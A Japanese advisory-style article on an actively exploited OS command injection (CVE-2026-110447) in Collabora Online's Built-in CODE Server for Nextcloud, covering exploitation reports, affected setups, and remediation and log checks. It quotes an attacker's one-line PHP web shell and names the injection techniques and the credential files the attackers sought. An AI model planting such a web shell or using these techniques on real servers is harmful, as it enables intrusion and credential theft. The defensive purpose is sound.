Collabora OnlineにCVE-2026-110447――悪用中、26.4.303へ

公開日：2026年10月30日文：クリスタルメソッド編集部監修：河合継（代表取締役）

CVE-2026-110447とは――Collabora Online Built-in CODE ServerのOSコマンドインジェクション

2026年10月14日、Collabora Onlineに組み込まれたBuilt-in CODE Serverに深刻なOSコマンドインジェクション脆弱性が正式に公開された。CVE番号はCVE-2026-110447。CVSSバージョン4.0による深刻度スコアは9.2（CRITICAL）であり、認証なしでリモートからOSコマンドを実行できる状態に至る可能性がある（出典：CVE公式記録 cve.org）。

弱点分類はCWE-78（OSコマンドインジェクション）であり、影響を受けるエンドポイントは/apps/richdocumentscode/proxy.php?statusである。攻撃リクエストにはパストラバーサル（%2e%2e）、シェルのコマンド置換（$(...)）、${IFS}による空白の難読化、base64でデコードしてshに渡すペイロードといった技法が組み合わされていたことが、GitHubのIssueトラッカーへの報告で明らかになっている（出典：GitHub Issue #354）。

重要な前提として、この脆弱性はスタンドアロン型のCollabora Onlineサーバーには存在せず、NextcloudアプリとしてBuilt-in CODE Serverを使うデプロイ形態のみが対象である。開発者（mmeeks）は「本問題はDevelopment Editionのみに影響し、ローカルのappimageをダウンロードするBuilt-in CODE Serverのデプロイモードでのみ発生する。比較的稀なケースだ」と述べている（出典：GitHub Issue #354）。

図1：CVE-2026-110447の攻撃経路。Built-in CODE Serverが停止している間にproxy.phpへ細工されたリクエストを送信し、PHPウェブシェルを設置。認証情報の窃取やファイルへの不正アクセスが行われる。開発者はバージョン26.4.303で修正されていると述べている。

ほかの製品でも悪用が確認されているときは、Magento脆弱性CVE-2026-48356で解説しています。

関連記事Brotli脆弱性、至急のバージョン更新は？

CVE-2026-110447の悪用状況――CISA KEV掲載と実害の記録

この脆弱性は理論上のリスクではなく、実際に悪用が確認されている。CISAは2026年10月23日にCVE-2026-110447をKnown Exploited Vulnerabilities（KEV）カタログに追加した。KEV掲載は「実際の悪用が確認された」ことを意味する（出典：CISA KEVカタログ）。

GitHubのIssueトラッカーには、2026年9月10日頃から複数の独立したNextcloud環境で実際にハッキングが成功していたとの報告が9月11日付けで投稿されている。複数の環境で同一の攻撃パターンとウェブシェルのファミリーが確認されており、うち1件ではウェブシェルが到達可能になった後に実際に使用された。別の利用者（UlliDieckmann）も同様の攻撃を受け、Nextcloudの整合性チェックによりshx13a86.phpというPHPファイルの作成が検知されたと報告している（出典：GitHub Issue #354）。

攻撃者が設置したウェブシェルは<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');>という構成であり、Webサーバー・PHPプロセスの権限で任意コマンドの実行が可能になる。攻撃者は*.kdbx、wallet.dat、keystore.json、bitwarden、1password、.bitcoin、.electrum、.monero、.ethereumなど、認証情報や暗号資産関連のファイルを探索するコマンドを実行していたことが記録されている（出典：GitHub Issue #354）。

FIRST EPSSによる悪用確率の統計的推定値は0.733（パーセンタイル0.9946、2026年10月29日時点）と極めて高い水準にある（出典：NVD CVE-2026-110447）。EPSSは確率の推定であり「悪用される」と断定するものではないが、緊急度の判断材料として参照できる。なお、CISAが定めた対処期限（2026年10月26日）は米連邦機関向けの義務であり、日本企業への法的拘束力はない。

次に読む：GitLab脆弱性、自社運用で今やることは？

GitLab脆弱性CVE-2026-97229——実際に悪用中、自社運用担当者が今やること

CVE-2026-110447が日本企業の運用にとって意味すること

Nextcloudはオープンソースのオンプレミスおよびセルフホスト型ファイル共有基盤として、日本国内でも情報システム部門を中心に導入が進んでいる。特に、クラウドサービスへの依存を避けたい金融・医療・製造業の企業や、機密情報を自社管理したい組織においてNextcloudとCollabora Onlineの組み合わせは一定の支持を集めている。

今回の脆弱性が対象とするのは「Built-in CODE Server」というデプロイ形態だ。Nextcloudのアプリマーケットからrichdocumentscodeアプリをインストールし、CODEサーバーをNextcloudサーバー上で直接稼働させている構成がこれに該当する。開発者が「比較的稀なケース」と述べている通り、すべてのCollabora Online利用者が影響を受けるわけではない。しかし、該当構成を採用している場合、そのサーバーがインターネットに接続されていれば、すでに攻撃対象となっている可能性を否定できない。

日本企業にとって特に注意すべき点は、攻撃者の探索対象にbitwardenや1passwordといったパスワードマネージャーのデータファイルが含まれていたことだ。Webサーバーのプロセス権限でアクセスできる全ファイルが読み書きの対象となり得るため、アプリケーションデータや設定ファイルに含まれる認証情報の機密性・完全性は影響を受ける可能性があるとみなすべきとされている（出典：GitHub Issue #354）。

また、26.4.303へのアップグレード後も、別の利用者からremote_font_config経由でshx*.phpファイルを作成しようとするプロセスが複数確認されたとの報告がある（出典：GitHub Issue #354）。アップグレードの完了をもって即座に安全と断言するのではなく、事後のログ確認と侵害調査を並行して実施することが望ましい。

今すぐ取るべき対処――バージョン確認から事後調査まで

CISAは次の対処方針を示している：「ベンダーの指示に従ってパッチを適用し、BOD 26-04の優先ガイダンスおよびCISAの『フォレンジックトリアージ要件』に準拠すること。クラウドサービスについては該当するBOD 26-04ガイダンスに従い、緩和策が利用できない場合は製品の使用を中止すること」（出典：CISA KEVカタログ）。日本企業はこれを義務として受け取る必要はないが、実務上の優先順位設定の基準として活用できる。

表1：CVE-2026-110447への対処優先順位マトリクス
状況	インターネット公開	対処優先度	推奨アクション
Built-in CODE Server使用・26.4.303未満	あり	最高（即時）	即時アップグレードまたはアプリ無効化＋侵害調査
Built-in CODE Server使用・26.4.303未満	なし（内部のみ）	高（計画的に）	次回メンテナンス窓でアップグレード・アクセスログ確認
Built-in CODE Server使用・26.4.303以降	あり／なし	低（確認）	ログ確認（shx*.phpなど不審ファイルの有無）
スタンドアロン型Collabora Online使用	あり／なし	対象外	本脆弱性の影響を受けない（開発者確認）
Collabora Online未使用	―	対象外	対処不要

対処の手順として、まず自組織のNextcloud環境でrichdocumentscodeアプリのバージョンを確認する。26.4.303未満であれば、バージョン26.4.303へのアップグレードが開発者（mmeeks）の回答「Yes; 26.4.303 should be good」により推奨される対処だ（出典：GitHub Issue #354）。アップグレードが即時実施できない場合、報告者が実施したようにアプリを一時無効化することが暫定措置として考えられるが、これは公式の回避策としてベンダーが明示したものではない点に留意する。

アップグレード完了後は、ウェブサーバーのアクセスログでproxy.phpへの異常なリクエスト（%2e%2eを含むパスやstatusパラメータ付き）の有無を確認する。また、shxで始まるPHPファイルなどの不審ファイルがNextcloudのディレクトリ以下に作成されていないかを確認することも侵害早期発見につながる。Nextcloudの整合性チェック機能はこうした異常なファイルの検知に有効とされている（出典：GitHub Issue #354）。

CVE-2026-110447はランサムウェアでの利用状況が「Unknown（不明）」とCISAに記録されている。ランサムウェアへの悪用が確認されていないことは、リスクがないことを意味しない。攻撃者が認証情報や暗号資産関連ファイルを標的にしていた事実は、侵害が内部ネットワークへの侵入拡大の起点となるリスクを示している。この脆弱性の修正は、パッチ適用単体で完結するものではなく、侵害の痕跡確認と並行して進めることが実務上の合理的な判断といえる。

自社が対象か判断がつかない場合は、お使いの製品と版の情報をお送りいただければ、公式情報をもとに対象かどうかの目安をお伝えします（無料相談）。